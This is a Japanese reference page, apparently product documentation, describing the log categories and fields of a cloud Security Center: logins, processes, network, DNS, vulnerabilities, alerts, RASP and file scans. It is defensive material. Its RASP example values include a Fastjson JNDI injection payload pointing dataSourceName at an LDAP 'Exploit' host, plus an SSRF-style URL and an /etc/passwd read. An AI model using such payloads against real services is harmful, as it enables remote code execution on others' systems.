Security Center:ログカテゴリとフィールド

フィールド

説明

例

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

sas_group_name

Security Center におけるサーバーの資産グループ。

default

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

src_ip

サーバーへのログインに使用される送信元 IP アドレス。

221.11.XX.XX

dst_port

ログインに使用されたポート。

22

login_type

ログインタイプ。値には、SSHLOGIN (SSH)、RDPLOGIN (リモート デスクトップ)、IPCLOGIN (IPC 接続) などが含まれます。

SSHLOGIN

username

ログインに使用されたユーザー名。

admin

login_count

ログイン回数。1 分以内の繰り返しのログインは、1つのエントリにマージされます。たとえば、login_count が 3 の場合、過去 1 分間に 3 回のログインが発生したことを示します。

3

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻を示すためにも使用されます。

1719472214

auth_type

認証タイプ (文字列型)。

• 1：パスワード認証。

• 2：キーベース認証。

"1"

success

ログインが成功したかどうかを示します。値：true (成功)、false (失敗)。

true

pid

認証プロセスの PID。

12345

src_port

ログインの送信元ポート番号 (文字列型)。

"43006"

ssh_fingerprint

ログインに使用される SSH キーフィンガープリント (文字列型)。キーベース認証の場合は対応するキーフィンガープリントが記録され、パスワード認証の場合は空になります。

SHA256:xxxxxxxxxxxx

フィールド

説明

例

cmd_chain

プロセスチェーンです。

[ {"9883":"bash -c kill -0 -- -'6274'"} ... ]

cmd_chain_index

プロセスチェーンのインデックスです。このインデックスを使用して、対応するプロセスチェーンを検索します。

B184

container_hostname

コンテナホスト名です。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナ ID です。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

コンテナイメージ ID です。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

コンテナイメージ名です。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナ名です。

nginx-ingress-****

container_pid

コンテナ内のプロセス ID です。

0

net_connect_dir

ネットワーク接続方向。値：in (インバウンド)、out (アウトバウンド)。

in

dst_ip

接続の受信側の IP アドレスです。net_connect_dir が out の場合はピアホスト、in の場合はローカルホストを示します。

192.168.XX.XX

dst_port

接続受信側のポートです。

443

instance_id

インスタンス ID です。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレスです。

192.168.XX.XX

parent_proc_name

親プロセスのファイル名です。

/usr/bin/bash

pid

プロセス ID です。

14275

ppid

親プロセス ID です。

14268

proc_name

プロセス名です。

nginx

proc_path

プロセスパスです。

/usr/local/nginx/sbin/nginx

proc_start_time

プロセスの起動時刻です。

N/A

connection_type

プロトコル。値: tcp、raw（raw ソケット）。

tcp

sas_group_name

Security Center におけるサーバーの資産グループです。

default

src_ip

送信元 IP アドレスです。

100.127.XX.XX

src_port

送信元ポートです。

41897

srv_comm

祖父プロセスに関連付けられたコマンド名です。

containerd-shim

status

ネットワーク接続ステータスです。値：1 (Closed)、2 (Listening)、3 (SYN sent)、4 (SYN received)、5 (Established)、6 (Close wait)、7 (Closing)、8 (FIN wait 1)、9 (FIN wait 2)、10 (Time wait)、11 (TCB deleted) です。

5

type

リアルタイムネットワーク接続のタイプ。値: connect (アクティブな TCP 接続の開始)、accept (TCP 接続の受信)、listen (ポートがリッスン中)。

listen

uid

プロセスユーザーの ID です。

101

username

プロセスのユーザー名です。

root

uuid

サーバーの UUID です。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位) です。イベントが発生した時刻も示します。

1719472214

フィールド

説明

例

cmd_chain

プロセスチェーンです。

[ {"9883":"bash -c kill -0 -- -'6274'"} ... ]

cmd_chain_index

プロセスチェーンのインデックスです。このインデックスを使用して、対応するプロセスチェーンを検索します。

B184

cmd_index

コマンドライン内の各パラメーターのインデックスです。各値のペアは、パラメーターの開始位置と終了位置を示します。

0,3,5,8

cmdline

プロセスの起動に使用された完全なコマンドラインです。

ipset list KUBE-6-CLUSTER-IP

comm

プロセスに関連付けられたコマンド名です。

N/A

container_hostname

コンテナ内のホスト名です。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナ ID です。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

コンテナイメージ ID です。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

コンテナイメージ名です。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナ名です。

nginx-ingress-****

container_pid

コンテナ内のプロセス ID です。

0

cwd

プロセスの作業ディレクトリです。

N/A

proc_name

プロセスファイル名です。

ipset

proc_path

プロセスファイルのフルパスです。

/usr/sbin/ipset

gid

プロセスのグループ ID です。

0

groupname

ユーザーグループ名です。

group1

instance_id

インスタンス ID です。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレスです。

192.168.XX.XX

parent_cmd_line

親プロセスのコマンドラインです。

/usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf --hostname-override=cn-beijing.192.168.XX.XX

parent_proc_name

親プロセスのファイル名です。

kube-proxy

parent_proc_path

親プロセスファイルのフルパスです。

/usr/local/bin/kube-proxy

pid

プロセス ID です。

14275

ppid

親プロセス ID です。

14268

proc_start_time

プロセスの起動時刻です。

2024-08-01 16:45:40

parent_proc_start_time

親プロセスの起動時刻です。

2024-07-12 19:45:19

sas_group_name

Security Center におけるサーバーの資産グループです。

default

srv_cmd

祖父プロセスのコマンドラインです。

/usr/bin/containerd

tty

ログイン端末です。N/A は、アカウントがターミナルにログインしたことがないことを示します。

N/A

uid

ユーザー ID です。

123

username

プロセスのユーザー名です。

root

uuid

サーバーの UUID です。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位) です。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

ブルートフォース攻撃の対象サーバーの IP アドレス。

192.168.XX.XX

sas_group_name

Security Center におけるサーバーの資産グループ。

default

uuid

ブルートフォース攻撃の対象サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12*****

login_count

失敗したログイン試行の回数。1 分以内に繰り返された試行は、1 件のエントリにマージされます。たとえば、login_count が 3 の場合、過去 1 分以内に 3 回の試行があったことを示します。

3

src_ip

ログイン試行のソース IP アドレス。

47.92.XX.XX

dst_port

ログインポート。

22

login_type

ログインタイプ。値：SSHLOGIN (SSH ログイン)、RDPLOGIN (リモートデスクトップログイン)、IPCLOGIN (IPC 接続ログイン)、SQLSERVER (SQL Server ログイン失敗)。

SSHLOGIN

username

ログインユーザー名。

user

start_time

開始タイムスタンプ (秒)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

account_expire

アカウントの有効期限です。値 never は、アカウントが無期限であることを意味します。

never

domain

アカウントが属するドメインまたはディレクトリサービス。N/A の場合、アカウントはどのドメインにも属しません。

N/A

groups

アカウントが属するグループ。N/A の場合、アカウントはどのグループにも属しません。

["nscd"]

home_dir

ホームディレクトリ。システムでファイルを保存および管理するためのデフォルトの場所です。

/Users/abc

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

last_chg

パスワードが最後に変更された日付。

2022-11-29

last_logon

最終ログインの日時。N/A の場合、そのアカウントを使用したログインはありません。

2023-08-18 09:21:21

login_ip

最終ログインのリモート IP アドレス。N/A の場合、そのアカウントを使用したログインはありません。

192.168.XX.XX

passwd_expire

パスワードの有効期限です。値 never は、パスワードが期限切れにならないことを意味します。

2024-08-24

perm

アカウントに root 権限があるかどうか。 値: 0 (root 権限なし); 1 (root 権限あり)。

0

sas_group_name

Security Center におけるサーバーの資産グループ。

default

shell

Linux シェル。

/sbin/nologin

status

ユーザーアカウントのステータス。値: 0 (ログオン禁止)、1 (ログオン許可)。

0

tty

ログイン元のターミナル。N/A の場合、アカウントはターミナルにログインしたことがありません。

N/A

username

ユーザー名。

nscd

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

warn_time

パスワード有効期限のリマインダー日。値 never はリマインダーが設定されていないことを意味します。

2024-08-20

start_time

開始タイムスタンプ (秒)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

net_connect_dir

ネットワーク接続方向です。値: in (インバウンド)、out (アウトバウンド)。注意: ステータスが 2 のログのみが配信されるため、net_connect_dir は常に in になります。

in

dst_ip

ピア IP アドレスです。通常は空です。注：ステータス 2 のログのみが配信されるため、dst_ip は常に空 (ピア IP) であり、src_ip はローカル IP です。

dst_port

接続先のポートです。

443

instance_id

インスタンス ID です。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレスです。

192.168.XX.XX

pid

プロセス ID です。

682

proc_name

プロセス名です。

sshd

connection_type

プロトコル。値: tcp4 (IPv4 上の TCP)、tcp6 (IPv6 上の TCP)。

tcp4

sas_group_name

Security Center におけるサーバーの資産グループです。

default

src_ip

ローカル IP アドレスです。

100.127.XX.XX

src_port

リッスンポートです。

41897

status

値が 2 の場合はポートがリッスン中であることを示し、関連付けられた src_ip/src_port がリッスンアドレスです。その他のステータスは配信されません。残りの可能な値 (現在は配信されません): 1 (クローズ)、3 (SYN 送信済み)、4 (SYN 受信済み)、5 (確立済み)、6 (クローズ待機)、7 (クローズ中)、8 (FIN 待機 1)、9 (FIN 待機 2)、10 (時間待機)、11 (TCB 削除済み)。

2

uuid

サーバーの UUID です。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒単位) です。また、イベントが発生した時刻も示します。

1719472214

フィールド

説明

例

cmdline

プロセスの起動に使用したコマンドライン全体。

/usr/local/share/assist-daemon/assist_daemon

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

md5

バイナリファイルの MD5 ハッシュ。1 MB を超えるファイルは計算されません。

1086e731640751c9802c19a7f53a64f5

proc_name

プロセスファイル名。

assist_daemon

proc_path

プロセスファイルのフルパス。

/usr/local/share/assist-daemon/assist_daemon

pid

プロセス ID。

1692

pname

親プロセスのファイル名。

systemd

sas_group_name

Security Center におけるサーバーのアセットグループ。

default

proc_start_time

プロセス起動時間。組み込みフィールド。

2023-08-18 20:00:12

uid

プロセスユーザー ID。

101

username

プロセスのユーザー名。

ルート

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ (秒)。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

domain

DNS リクエストに対応するドメイン名。

example.aliyundoc.com

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

DNS リクエストを送信したサーバーの IP アドレス。

192.168.XX.XX

pid

DNS リクエストを送信したプロセス ID。

3544

ppid

DNS リクエストを送信した親プロセス ID。

3408

cmd_chain

DNS リクエストを送信したプロセスチェーン。

"3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""

cmdline

DNS リクエストを送信したコマンドライン。

C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe

proc_path

DNS リクエストを送信したプロセスのパス。

C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe

sas_group_name

Security Center におけるサーバーの資産グループ。

default

time

DNS リクエストイベントがログに記録された時刻。

2023-08-17 20:05:04

uuid

DNS リクエストを送信したサーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

イベントが実際に発生した時刻を示す UNIX タイムスタンプ (秒)。

1719472214

フィールド

説明

例

uuid

サーバーの UUID です。

5d83b26b-b7ca-4a0a-9267-12****

host_ip

サーバーの IP アドレスです。

192.168.XX.XX

agent_version

クライアントバージョンです。

aegis_11_91

last_login

前回のログインのタイムスタンプ (ミリ秒単位) です。

1716444387617

platform

オペレーティングシステムのタイプです。値： windows、linux。

linux

region_id

サーバーが存在するリージョン ID です。

cn-beijing

status

クライアントステータスです。値： online、offline。

online

start_time

開始タイムスタンプ (秒単位) です。イベントの発生時刻も示します。

1719472214

フィールド

説明

例

user_id

ユーザー ID です。

123

host_ip

クライアントマシンの IP アドレスです。

1.2.3.4

uuid

サーバーの UUID です。

inet-eb7c23e9-1352-4f03-a1b3-73800d3524da

proc_list

モジュールをロードしたプロセスのリスト (JSON フォーマット) です。

[{"path":"C:/Windows/System32/svchost.exe","cmdline":"...","pid":84,"md5":"..."}]

file_path

モジュールのファイルパスです。

c:\\windows\\system32\\msvcrt.dll

md5

モジュールの MD5 ハッシュです。

d80c5d199b7700b89dbdc52ab58c7519

sha256

モジュールの SHA256 ハッシュです。空の文字列は、未計算であることを示します。

file_size

モジュールのサイズ (バイト) です。

800008

bin_create

モジュールの作成時刻です。

2017-06-08 11:49:55

bin_modified

モジュールの最終更新時刻です。

2014-10-29 11:06:28

source

ソースタイプの識別子です。

5

start_time

ログ書き込み時の UNIX タイムスタンプ (秒) です。

1719472214

フィールド

説明

例

user_id

ユーザー ID です。

123

host_ip

クライアントマシンの IP アドレスです。

1.2.3.4

uuid

サーバーの UUID です。

inet-eb7c23e9-1352-4f03-a1b3-73800d3524da

proc_path

ファイルを操作したプロセスのパスです。

/home/shared/app_bin/maple_ffmpeg

cmdline

プロセスの完全なコマンドラインです。

/home/shared/app_bin/maple_ffmpeg -y -threads 4 -i ...

event_type

ファイル操作のイベントタイプ (open や write など) です。

open

file_path

操作対象のファイルのパスです。

/home/shared/app-video-trans/dbe36b1f-.../...

parent_proc_path

親プロセスの実行可能ファイルのパスです。

/usr/java/jdk1.8.0_171/bin/java

pid

プロセス ID です。

882378

ppid

親プロセス ID です。

1019718

pstime

親プロセスの起動時刻です。

2025-10-30 12:02:37

proc_start_time

プロセスの起動時刻です。

2025-10-30 12:02:38

cmd_chain

プロセスの呼び出しチェーン (JSON フォーマット) です。

[{"882378":"/home/shared/app_bin/maple_ffmpeg..."}]

cmd_chain_index

コマンドチェーンのインデックス識別子です。

P47948934

srv_cmd

関連するサービスのコマンドラインです。

/usr/bin/python /usr/bin/supervisord -c /etc/supervisord.conf

srv_comm

関連するサービス名です。

supervisord

flag

ファイル操作のフラグ値です。

33345

old_file_path

名前変更または移動前の元のファイルパスです。

username

操作を実行したユーザー名です。

container_id

コンテナ ID です。

container_name

コンテナ名です。

container_hostname

コンテナ内のホスト名です。

container_image_id

コンテナイメージ ID です。

container_image_name

コンテナイメージ名です。

start_time

ログ書き込みのタイムスタンプ (秒単位の UNIX タイムスタンプ) です。

1719472214

フィールド

説明

例

user_id

ユーザー ID。

123

host_ip

クライアントマシンの IP アドレス。

1.2.3.4

uuid

サーバーの UUID。

inet-eb7c23e9-1352-4f03-a1b3-73800d3524da

registry_key

操作したレジストリキーのパス。

\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\...

registry_value

レジストリ値。

N/A

registry_type

レジストリキーのデータ型。

N/A

key_account

レジストリ操作を実行したアカウント。

N/A

proc_path

レジストリ操作を実行したプロセスのパス。

C:/Program Files (x86)/ManageEngine/UEMS_Agent/bin/DCProcessMonitor.exe

cmdline

プロセスのコマンドライン。

DCProcessMonitor.exe

pid

プロセス ID。

11060

ppid

親プロセス ID。

2272

time

レジストリ操作が発生した時刻。

2025-11-12 10:32:42

start_time

ログ書き込みタイムスタンプ (Unix タイムスタンプ、秒単位)。

1719472214

フィールド

説明

例

vul_alias_name

脆弱性エイリアスです。

CESA-2023:1335: openssl セキュリティ更新プログラム

risk_level

リスクレベル。値: asap (高)、later (中)、nntf (低)。

later

extend_content

JSON フォーマットの拡張脆弱性情報です。

{"cveList":["CVE-2023-0286"],"necessity":{...},"os":"centos",...}

instance_id

インスタンス ID です。

i-2zeg4zldn8zypsfg****

internet_ip

アセットのパブリック IP アドレスです。

39.104.XX.XX

intranet_ip

アセットのプライベート IP アドレスです。

192.168.XX.XX

instance_name

ホスト名です。

hhht-linux-***

vul_name

脆弱性名です。

centos:7:cesa-2023:1335

operation

脆弱性に対するアクション。値: new (新規)、 verify (検証)、 fix (修正)。

new

status

脆弱性ステータスです。値： 1 (未修正) 、2 (修正に失敗) 、3 (ロールバックに失敗) 、4 (修正中) 、5 (ロールバック中) 、6 (検証中) 、7 (修正済み) 、8 (修正済み、再起動が必要) 、9 (ロールバック済み) 、10 (無視) 、11 (ロールバック済み、再起動が必要) 、12 (存在しない) 、13 (無効) 。

1

tag

脆弱性タグ。 値: oval (Linux ソフトウェアの脆弱性)、system (Windows システムの脆弱性)、app (アプリケーションの脆弱性)。 その他の種類の脆弱性のタグはランダムな文字列です。

oval

type

脆弱性の種類。値: sys (Windows システムの脆弱性)、cve (Linux ソフトウェアの脆弱性)、emg (緊急の脆弱性)。

sys

uuid

サーバーの UUID です。

ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ (秒単位) です。イベントが発生した時刻も示します。

1719472214

フィールド

説明

例

check_item_name

チェック項目の名前。

パスワード変更の最小間隔を設定します

check_item_level

ベースラインチェックの重要度レベル。値は high (高)、medium (中)、low (低) です。

medium

check_type

チェック項目のタイプ。

ID 認証

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

risk_level

リスクレベル。 値: high (高)、 medium (中)、 low (低)。

medium

operation

操作。値: new (新規)、verity (検証)。

new

risk_name

リスク項目の名前。

パスワードポリシーコンプライアンスチェック

sas_group_name

リスク項目が検出された Security Center のサーバーの資産グループ。

default

status

ステータス情報。ステータスコードには、次の 2 つのセットがあります：ベースラインチェックのステータス：1 (失敗)、2 (検証中)、6 (無視)、7 (修復中)。処理ステータス：1 (未修復)、2 (修復に失敗)、3 (ロールバックに失敗)、4 (修復中)、5 (ロールバック中)、6 (検証中)、7 (修復済み)、8 (修復済み、再起動が必要)、9 (ロールバック済み)、10 (無視)、11 (ロールバック済み、再起動が必要)、12 (存在しない)、13 (無効)。

1

sub_type_alias_name

サブタイプのエイリアス。

国際セキュリティベストプラクティス - Ubuntu 16/18/20/22 セキュリティベースラインチェック

sub_type_name

ベースラインのサブタイプ名。有効な値については、ベースラインのタイプとサブタイプのリストをご参照ください。

hc_ubuntu16_cis_rules

type_alias_name

タイプのエイリアス。

国際セキュリティベストプラクティス

type_name

ベースラインタイプ。有効な値については、ベースラインのタイプとサブタイプのリストをご参照ください。

cis

uuid

リスク項目が検出されたサーバーの UUID。

1ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ (秒単位)。イベントが発生した時刻も示します。

1719472214

フィールド

説明

例

data_source

データソース。値： aegis_suspicious_event（ホストの異常）、aegis_suspicious_file_v2（ウェブシェル）、aegis_login_log（異常なログオン）、honeypot（クラウドハニーポットアラートイベント）、object_scan（ファイル検出の異常）、security_event（セキュリティセンターの異常）、sas_ak_leak（AK 漏洩イベント）。

aegis_login_log

detail

アラートの詳細なコンテキストを提供する構造化オブジェクト (JSON) です。フィールドはアラートタイプによって異なります。alert_reason フィールドの一般的な値には、reason1 (通常のログオン元以外の IP)、reason2 (API コールの失敗)、reason3 (通常のログオン元以外の IP および API コールの失敗) があります。

{"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root",...}

instance_id

インスタンス ID です。

i-2zeg4zldn8zypsfg****

internet_ip

アセットのパブリック IP アドレスです。

39.104.XX.XX

intranet_ip

アセットのプライベート IP アドレスです。

192.168.XX.XX

level

アラートイベントのリスクレベル。値: serious（緊急）、suspicious（不審）、remind（注意）。

suspicious

name

アラート名です。

Anomalous Logon - ECS Unusual Account Logon

operation

操作。 値: new (新規)、dealing (処理中)、update (更新済み)。

new

status

アラートステータスです。値： 1 (未処理。新規アラートのデフォルト)、 2 (無視済み。無視操作の実行後)、 8 (ホワイトリスト登録済み。ホワイトリストへの追加後)、 16 (処理中。プロセス終了、ファイル隔離、またはホワイトリスト登録の操作中)、 32 (処理済み。手動対応後、またはプロセス終了、ファイル隔離の操作完了後)、 64 (期限切れ。30 日以内に操作が実行されない場合)、 513 (自動ブロック済み。アラートは Security Center の高精度防御機能によって自動的にブロックされたため、手動対応は不要です)。

1

unique_info

アラートの一意の識別子です。

2536dd765f804916a1fa3b9516b5****

uuid

アラートが生成されたサーバーの UUID です。

ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ (秒) です。イベントが発生した時刻を示すためにも使用されます。

1719472214

suspicious_event_id

アラートイベント ID です。

650226318

handle_time

操作に対応するタイムスタンプです。

1765272845

alert_first_time

アラートが初めて表示されたタイムスタンプです。

1764226915

alert_last_time

アラートが最後に表示されたタイムスタンプです。

1765273425

strict_mode

アラートが厳格モードであるかどうかを示します。値: true、false。

true

user_id

アカウント ID です。

1358******3357

フィールド

説明

例

check_id

チェック項目IDです。このIDは、ListCheckResult API を呼び出すことで取得できます。

11

check_item_name

チェック項目の名前です。

オリジンフェッチ設定

instance_id

インスタンスIDです。

i-2zeg4zldn8zypsfg****

instance_name

インスタンス名です。

lsm

instance_result

リスクの影響 (JSON 文字列) です。

{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,...}]}

instance_sub_type

インスタンスサブタイプです。値は instance_type によって異なります。ECS の場合：INSTANCE、DISK、SECURITY_GROUP。ACR の場合：REPOSITORY_ENTERPRISE、REPOSITORY_PERSON。RAM の場合：ALIAS、USER、POLICY、GROUP。WAF の場合：DOMAIN。その他のタイプの場合：INSTANCE。

INSTANCE

instance_type

インスタンスタイプです。値： Elastic Compute Service (ECS)、Server Load Balancer (SLB)、ApsaraDB RDS、ApsaraDB for MongoDB、ApsaraDB for Redis、Container Registry (ACR)、CSK、Virtual Private Cloud (VPC)、ActionTrail、Content Delivery Network (CDN)、Certificate Management Service (CAS)、Apsara DevOps、Resource Access Management (RAM)、Anti-DDoS、Web Application Firewall (WAF)、Object Storage Service (OSS)、PolarDB、ApsaraDB RDS for PostgreSQL、Microservices Engine (MSE)、File Storage NAS、Sensitive Data Discovery and Protection (SDDP)、Elastic IP Address (EIP)。

ECS

region_id

インスタンスが存在するリージョンIDです。

cn-hangzhou

requirement_id

要件IDです。このIDは、ListCheckStandard API を呼び出すことで取得できます。

5

risk_level

リスクレベルです。値： LOW、MEDIUM、HIGH。

MEDIUM

section_id

セクションIDです。このIDは、ListCheckResult API を呼び出すことで取得できます。

1

standard_id

標準IDです。このIDは、ListCheckStandard API を呼び出すことで取得できます。

1

status

チェック項目のステータスです。値： NOT_CHECK (未チェック)、CHECKING (チェック中)、PASS (合格)、NOT_PASS (不合格)、WHITELIST (ホワイトリスト)。

PASS

vendor

クラウドサービスプロバイダーです。固定値： ALIYUN。

ALIYUN

start_time

開始タイムスタンプ (秒単位) です。イベントが発生した時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmd

攻撃されたプロセスのコマンドラインです。

nginx: master process nginx

cur_time

攻撃イベントが発生した時刻です。

2023-09-14 09:21:59

decode_payload

16進数から文字に変換されたペイロードです。

POST /Services/FileService/UserFiles/

dst_ip

宛先 IP アドレスです。

172.16.XX.XX

dst_port

宛先ポートです。

80

func

インターセプトされたイベントのタイプです。値： payload (悪意のあるペイロードのインターセプト。悪意のあるデータまたはコマンドを検出したときにトリガーされます)、tuple (悪意のある IP のインターセプト。悪意のある IP アクセスを検出したときにトリガーされます)。

payload

rule_type

インターセプトされたイベントの特定のルールタイプです。値： alinet_payload (Security Center によって定義されたペイロードイベント防御ルール)、alinet_tuple (Security Center によって定義されたタプルイベント防御ルール)。

alinet_payload

instance_id

攻撃された資産のインスタンス ID です。

i-2zeg4zldn8zypsfg****

internet_ip

攻撃された資産のパブリック IP アドレスです。

39.104.XX.XX

intranet_ip

攻撃された資産のプライベート IP アドレスです。

192.168.XX.XX

final_action

防御アクションです。固定値： block (ブロック済み)。

block

payload

16進数形式のペイロードです。

504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****

pid

攻撃されたプロセスの ID です。

7107

platform

攻撃された資産のシステムタイプです。値： windows、linux。

linux

proc_path

攻撃されたプロセスのパスです。

/usr/sbin/nginx

sas_group_name

Security Center のサーバーの資産グループです。

default

src_ip

攻撃の送信元 IP アドレスです。

106.11.XX.XX

src_port

攻撃の送信元ポートです。

29575

uuid

サーバーの UUID です。

5d83b26b-b7ca-4a0a-9267-12****

start_time

攻撃イベントが発生した時刻を示す Unix タイムスタンプ (秒) です。

1719472214

フィールド

説明

例

app_dir

アプリケーションが存在するディレクトリです。

/usr/local/aegis/rasp/apps/1111

app_id

アプリケーション ID です。

6492a391fc9b4e2aad94****

app_name

アプリケーション名です。

test

confidence_level

検出アルゴリズムの信頼度。値：high、medium、low。

low

request_body

リクエストボディです。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}

request_content_length

リクエストボディの長さです。

112

data

フックポイントのパラメーターです。

{"cmd":"bash -c kill -0 -- -'31098' "}

headers

リクエストヘッダーです。

{"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial",...}

hostname

ホストまたはネットワークデバイスの名前です。

testhostname

host_ip

ホストのプライベート IP アドレスです。

172.16.XX.XX

is_cliped

ログが長さ制限を超えて切り捨てられたかどうかを示します。値: true (切り捨て済み)、false (切り捨てられていない)。

false

jdk_version

JDK バージョンです。

1.8.0_292

message

アラートの説明です。

Unsafe class serial.

request_method

HTTP リクエストメソッドです。

Post

platform

オペレーティングシステムのタイプです。

Linux

arch

オペレーティングシステムアーキテクチャです。

amd64

kernel_version

オペレーティングシステムのカーネルバージョンです。

3.10.0-1160.59.1.el7.x86_64

param

リクエストパラメーターです。一般的なフォーマットは、GET パラメーターや application/x-www-form-urlencoded などです。

{"url":["http://127.0.0.1.xip.io"]}

payload

有効な攻撃ペイロードです。

bash -c kill -0 -- -'31098'

payload_length

攻撃ペイロードの長さです。

27

rasp_id

RASP プローブの一意の ID です。

fa00223c8420e256c0c98ca0bd0d****

rasp_version

RASP プローブのバージョンです。

0.8.5

src_ip

リクエスターの IP アドレスです。

172.0.XX.XX

final_action

アラートの処理結果。値: block (ブロック済み)、 monitor (監視中)。

block

rule_action

ルールで指定されたアラートの処理方法。値: block、 monitor。

block

risk_level

リスクレベル。値: high、medium、low。

high

stacktrace

スタックトレースです。

[java.io.FileInputStream.<init>(FileInputStream.java:123), ...]

time

アラートがトリガーされた時刻です。

2023-10-09 15:19:15

timestamp

アラートがトリガーされたときのタイムスタンプ (ミリ秒単位) です。

1696835955070

type

攻撃タイプ。値: attach（悪意のあるアタッチ）、beans（悪意のある Beans バインディング）、classloader（悪意のあるクラスの読み込み）、dangerous_protocol（危険なプロトコルの使用）、dns（悪意のある DNS クエリ）、engine（エンジンインジェクション）、expression（エクスプレッションインジェクション）、file（悪意のあるファイルの読み書き）、file_delete（任意のファイル削除）、file_list（ディレクトリトラバーサル）、file_read（任意のファイル読み取り）、file_upload（悪意のあるファイルアップロード）、jndi（JNDI インジェクション）、jni（JNI インジェクション）、jstl（JSTL 任意ファイルインクルード）、memory_shell（メモリ内 Web シェルインジェクション）、rce（リモートコード実行）、read_object（デシリアライゼーション攻撃）、reflect（悪意のあるリフレクション）、sql（SQL インジェクション）、ssrf（悪意のあるアウトバウンド接続）、thread_inject（スレッドインジェクション）、xxe（XXE 攻撃）。

rce

url

リクエスト URL です。

http://127.0.0.1:999/xxx

rasp_attack_uuid

攻撃イベントの UUID です。

18823b23-7ad4-47c0-b5ac-e5f036a2****

uuid

ホスト UUID です。

23f7ca61-e271-4a8e-bf5f-165596a16****

internet_ip

ホストのパブリック IP アドレスです。

1.2.XX.XX

intranet_ip

ホストのイントラネット IP アドレスです。

172.16.XX.XX

sas_group_name

Security Center のサーバーグループ名です。

Group 1

instance_id

ホストのインスタンス ID です。

i-wz995eivg28f1m**

start_time

開始タイムスタンプ (秒単位) です。イベントの発生時刻も示します。

1719472214

フィールド

説明

例

bucket_name

OSS バケット名です。

***-test

event_id

アラート ID です。

802210

event_name

アラート名です。

マイニングプログラム

md5

ファイルの MD5 ハッシュです。

6bc2bc******53d409b1

sha256

ファイルの SHA256 ハッシュです。

f038f9525******7772981e87f85

result

検出結果。値: 0 (ファイルは安全)、1 (不正なファイルを検出)。

0

file_path

ファイルパスです。

test.zip/bin_test

etag

OSS ファイルの ETag です。

6BC2B******853D409B1

risk_level

リスクレベル。値： serious （緊急）、suspicious （不審）、remind （注意）。

remind

source

検出シナリオ。値: OSS (Security Center コンソールを使用した OSS バケット内のファイル検出)、API (Java SDK または Python SDK を使用した悪意のあるファイルの検出)。

OSS

parent_md5

親ファイルまたはアーカイブファイルの MD5 ハッシュです。

3d0f8045bb9******

parent_sha256

親ファイルまたはアーカイブファイルの SHA256 ハッシュです。

69b643d6******a3fb859fa

parent_file_path

親ファイルまたはアーカイブファイルの名前です。

test.zip

start_time

開始タイムスタンプ (秒単位) です。イベントが発生した時刻を示すためにも使用されます。

1719472214

compress_file_number

アーカイブ内のサブファイルのシーケンス番号です。［現在］/［合計］の形式で表示されます。たとえば、1/10 は、アーカイブ内の10個のファイルのうち1番目のファイルであることを示します。

1/10

フィールド

説明

例

start_time

イベントの最新発生時刻 (秒単位) です。

1718678414

uuid

クライアントの UUID です。

5d83b26b-ba-4a-9267-12****

file_path

ファイルパスです。

/etc/passwd

proc_path

プロセスパスです。

/usr/bin/bash

rule_id

一致したルール ID です。

123

rule_name

ルール名です。

file_test_rule

cmdline

コマンドラインです。

bash /opt/a

operation

ファイルに対する操作です。

READ

risk_level

アラートレベルです。

2

pid

プロセス ID です。

45324

proc_permission

